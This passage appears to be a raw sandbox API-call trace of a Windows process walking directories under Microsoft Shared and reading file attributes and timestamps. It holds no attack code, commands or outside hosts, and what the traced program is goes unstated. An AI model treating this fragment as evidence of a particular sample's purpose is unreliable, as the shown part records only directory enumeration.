ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x21282c00, ftLastWriteTime.dwHighDateTime=0x1c6e3e3, nFileSizeHigh=0x0, nFileSizeLow=0x166bae, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSB1FRAR.ITS", cAlternateFileName="")) returned 0 [0063.752] GetLastError () returned 0x12 [0063.753] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dc78) returned 1 [0063.754] FindClose (in: hFindFile=0x60d160 | out: hFindFile=0x60d160) returned 1 [0063.756] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb26f8) returned 1 [0063.756] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dbf0) returned 1 [0063.757] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7516b10, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7941190, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7941190, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="FREN", cAlternateFileName="")) returned 1 [0063.758] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dbf0 [0063.759] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FREN" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\fren"), fInfoLevelId=0x0, lpFileInformation=0x174ee50 | out: lpFileInformation=0x174ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7516b10, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7941190, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7941190, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0063.966] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FREN" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\fren"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x184 [0063.971] SetFileTime (hFile=0x184, lpCreationTime=0x0, lpLastAccessTime=0x174ee94, lpLastWriteTime=0x174ee94) returned 0 [0063.971] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x4000) returned 0xfb4d10 [0063.973] DeviceIoControl (in: hDevice=0x184, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xfb4d10, nOutBufferSize=0x4000, lpBytesReturned=0x174eeec, lpOverlapped=0x0 | out: lpOutBuffer=0xfb4d10, lpBytesReturned=0x174eeec, lpOverlapped=0x0) returned 0 [0063.974] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb4d10) returned 1 [0063.974] NtClose (Handle=0x184) returned 0x0 [0063.976] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dbf0) returned 1 [0064.038] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dbf0 [0064.103] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dc78 [0064.276] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0064.277] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FREN\\*", fInfoLevelId=0x1, lpFindFileData=0x174ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174ec9c) returned 0x60d160 [0064.279] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7516b10, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7941190, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7941190, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0064.279] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbb22e200, ftCreationTime.dwHighDateTime=0x1c82168, ftLastAccessTime.dwLowDateTime=0x753cc70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbb22e200, ftLastWriteTime.dwHighDateTime=0x1c82168, nFileSizeHigh=0x0, nFileSizeLow=0x38200, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSB1FREN.DLL", cAlternateFileName="")) returned 1 [0064.279] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dd00 [0064.281] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dd00) returned 1 [0064.281] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dd00 [0064.281] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dd00) returned 1 [0064.281] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dd00 [0064.282] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dd00) returned 1 [0064.283] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x238a8600, ftCreationTime.dwHighDateTime=0x1c6e3e3, ftLastAccessTime.dwLowDateTime=0x753cc70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x238a8600, ftLastWriteTime.dwHighDateTime=0x1c6e3e3, nFileSizeHigh=0x0, nFileSizeLow=0xcd2ac, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSB1FREN.ITS", cAlternateFileName="")) returned 1 [0064.283] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dd00 [0064.283] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dd00) returned 1 [0064.285] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dd00 [0064.285] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dd00) returned 1 [0064.285] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dd00 [0064.286] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfb26f8 [0064.286] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dc78) returned 1 [0064.287] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xfb3d00 [0064.290] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfb2e30 [0064.290] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dd00) returned 1 [0064.290] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d99e900, ftCreationTime.dwHighDateTime=0x1be6f08, ftLastAccessTime.dwLowDateTime=0x79672f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1d99e900, ftLastWriteTime.dwHighDateTime=0x1be6f08, nFileSizeHigh=0x0, nFileSizeLow=0x96a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="WT61FR.LEX", cAlternateFileName="")) returned 1 [0064.293] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dd00 [0064.293] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dd00) returned 1 [0064.293] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dd00 [0064.293] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dd00) returned 1 [0064.293] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dd00 [0064.293] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xfb3d20 [0064.294] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfb2f38 [0064.294] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dd00) returned 1 [0064.294] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d99e900, ftCreationTime.dwHighDateTime=0x1be6f08, ftLastAccessTime.dwLowDateTime=0x79672f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1d99e900, ftLastWriteTime.dwHighDateTime=0x1be6f08, nFileSizeHigh=0x0, nFileSizeLow=0x96a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="WT61FR.LEX", cAlternateFileName="")) returned 0 [0064.294] GetLastError () returned 0x12 [0064.294] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FREN\\*", fInfoLevelId=0x1, lpFindFileData=0x174ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174ec9c) returned 0x60d1e0 [0064.294] FindClose (in: hFindFile=0x60d160 | out: hFindFile=0x60d160) returned 1 [0064.294] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7516b10, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7941190, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7941190, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0064.294] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbb22e200, ftCreationTime.dwHighDateTime=0x1c82168, ftLastAccessTime.dwLowDateTime=0x753cc70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbb22e200, ftLastWriteTime.dwHighDateTime=0x1c82168, nFileSizeHigh=0x0, nFileSizeLow=0x38200, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSB1FREN.DLL", cAlternateFileName="")) returned 1 [0064.294] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x238a8600, ftCreationTime.dwHighDateTime=0x1c6e3e3, ftLastAccessTime.dwLowDateTime=0x753cc70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x238a8600, ftLastWriteTime.dwHighDateTime=0x1c6e3e3, nFileSizeHigh=0x0, nFileSizeLow=0xcd2ac, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSB1FREN.ITS", cAlternateFileName="")) returned 1 [0064.294] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d99e900, ftCreationTime.dwHighDateTime=0x1be6f08, ftLastAccessTime.dwLowDateTime=0x79672f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1d99e900, ftLastWriteTime.dwHighDateTime=0x1be6f08, nFileSizeHigh=0x0, nFileSizeLow=0x96a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="WT61FR.LEX", cAlternateFileName="")) returned 1 [0064.294] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d99e900, ftCreationTime.dwHighDateTime=0x1be6f08, ftLastAccessTime.dwLowDateTime=0x79672f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1d99e900, ftLastWriteTime.dwHighDateTime=0x1be6f08, nFileSizeHigh=0x0, nFileSizeLow=0x96a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="WT61FR.LEX", cAlternateFileName="")) returned 0 [0064.294] GetLastError () returned 0x12 [0064.294] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0064.294] FindClose (in: hFindFile=0x60d1e0 | out: hFindFile=0x60d1e0) returned 1 [0064.294] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb26f8) returned 1 [0064.294] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dbf0) returned 1 [0064.294] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdd541900, ftCreationTime.dwHighDateTime=0x1c911ec, ftLastAccessTime.dwLowDateTime=0x7562dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdd541900, ftLastWriteTime.dwHighDateTime=0x1c911ec, nFileSizeHigh=0x0, nFileSizeLow=0x205b0b, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSB1AR.LEX", cAlternateFileName="")) returned 1 [0064.294] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7780a100, ftCreationTime.dwHighDateTime=0x1c4d75f, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7780a100, ftLastWriteTime.dwHighDateTime=0x1c4d75f, nFileSizeHigh=0x0, nFileSizeLow=0x600, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSB1CACH.LEX", cAlternateFileName="")) returned 1 [0064.294] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd5c6bc00, ftCreationTime.dwHighDateTime=0x1ca9121, ftLastAccessTime.dwLowDateTime=0x58b4ce70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd5c6bc00, ftLastWriteTime.dwHighDateTime=0x1ca9121, nFileSizeHigh=0x0, nFileSizeLow=0x2b990, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSB1CORE.DLL", cAlternateFileName="")) returned 1 [0064.295] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x38c6e400, ftCreationTime.dwHighDateTime=0x1ca6d6a, ftLastAccessTime.dwLowDateTime=0x7588f30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x38c6e400, ftLastWriteTime.dwHighDateTime=0x1ca6d6a, nFileSizeHigh=0x0, nFileSizeLow=0x40f70, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSB1STAR.DLL", cAlternateFileName="")) returned 1 [0064.295] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd4958f00, ftCreationTime.dwHighDateTime=0x1ca9121, ftLastAccessTime.dwLowDateTime=0x58b4ce70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd4958f00, ftLastWriteTime.dwHighDateTime=0x1ca9121, nFileSizeHigh=0x0, nFileSizeLow=0x11390, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSB1XTOR.DLL", cAlternateFileName="")) returned 1 [0064.295] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb44a7300, ftCreationTime.dwHighDateTime=0x1c3af23, ftLastAccessTime.dwLowDateTime=0x5ba5ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb44a7300, ftLastWriteTime.dwHighDateTime=0x1c3af23, nFileSizeHigh=0x0, nFileSizeLow=0x36000, dwReserved0=0x0, dwReserved1=0x0, cFileName="WTSP61MS.DLL", cAlternateFileName="")) returned 1 [0064.295] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb44a7300, ftCreationTime.dwHighDateTime=0x1c3af23, ftLastAccessTime.dwLowDateTime=0x5ba5ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb44a7300, ftLastWriteTime.dwHighDateTime=0x1c3af23, nFileSizeHigh=0x0, nFileSizeLow=0x36000, dwReserved0=0x0, dwReserved1=0x0, cFileName="WTSP61MS.DLL", cAlternateFileName="")) returned 0 [0064.295] GetLastError () returned 0x12 [0064.295] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c628) returned 1 [0064.295] FindClose (in: hFindFile=0x60d220 | out: hFindFile=0x60d220) returned 1 [0064.295] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ead8) returned 1 [0064.295] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c490) returned 1 [0064.295] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Triedit", cAlternateFileName="")) returned 1 [0064.295] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c490 [0064.295] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Triedit" (normalized: "c:\\program files\\common files\\microsoft shared\\triedit"), fInfoLevelId=0x0, lpFileInformation=0x174f108 | out: lpFileInformation=0x174f108*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0064.296] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Triedit" (normalized: "c:\\program files\\common files\\microsoft shared\\triedit"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x190 [0064.296] SetFileTime (hFile=0x190, lpCreationTime=0x0, lpLastAccessTime=0x174f14c, lpLastWriteTime=0x174f14c) returned 0 [0064.296] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x4000) returned 0xfb4d10 [0064.296] DeviceIoControl (in: hDevice=0x190, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xfb4d10, nOutBufferSize=0x4000, lpBytesReturned=0x174f1a4, lpOverlapped=0x0 | out: lpOutBuffer=0xfb4d10, lpBytesReturned=0x174f1a4, lpOverlapped=0x0) returned 0 [0064.296] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb4d10) returned 1 [0064.296] NtClose (Handle=0x190) returned 0x0 [0064.296] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c490) returned 1 [0064.296] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c490 [0064.296] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c628 [0064.296] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dbf0 [0064.296] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Triedit\\*", fInfoLevelId=0x1, lpFindFileData=0x174ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174ef54) returned 0x60d220 [0064.296] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0064.296] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0064.296] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 0 [0064.296] GetLastError () returned 0x12 [0064.296] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Triedit\\*", fInfoLevelId=0x1, lpFindFileData=0x174ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174ef54) returned 0x60d1e0 [0064.297] FindClose (in: hFindFile=0x60d220 | out: hFindFile=0x60d220) returned 1 [0064.297] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0064.297] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0064.297] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0064.297] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Triedit\\en-US" (normalized: "c:\\program files\\common files\\microsoft shared\\triedit\\en-us"), fInfoLevelId=0x0, lpFileInformation=0x174ee50 | out: lpFileInformation=0x174ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0064.305] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Triedit\\en-US" (normalized: "c:\\program files\\common files\\microsoft shared\\triedit\\en-us"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x190 [0064.305] SetFileTime (hFile=0x190, lpCreationTime=0x0, lpLastAccessTime=0x174ee94, lpLastWriteTime=0x174ee94) returned 0 [0064.305] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x4000) returned 0xfb4d10 [0064.305] DeviceIoControl (in: hDevice=0x190, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xfb4d10, nOutBufferSize=0x4000, lpBytesReturned=0x174eeec, lpOverlapped=0x0 | out: lpOutBuffer=0xfb4d10, lpBytesReturned=0x174eeec, lpOverlapped=0x0) returned 0 [0064.305] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb4d10) returned 1 [0064.305] NtClose (Handle=0x190) returned 0x0 [0064.305] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0064.305] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0064.305] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dd00 [0064.305] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dc78 [0064.305] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Triedit\\en-US\\*", fInfoLevelId=0x1, lpFindFileData=0x174ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174ec9c) returned 0x60d220 [0064.305] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0064.305] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0064.305] GetLastError () returned 0x12 [0064.305] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft 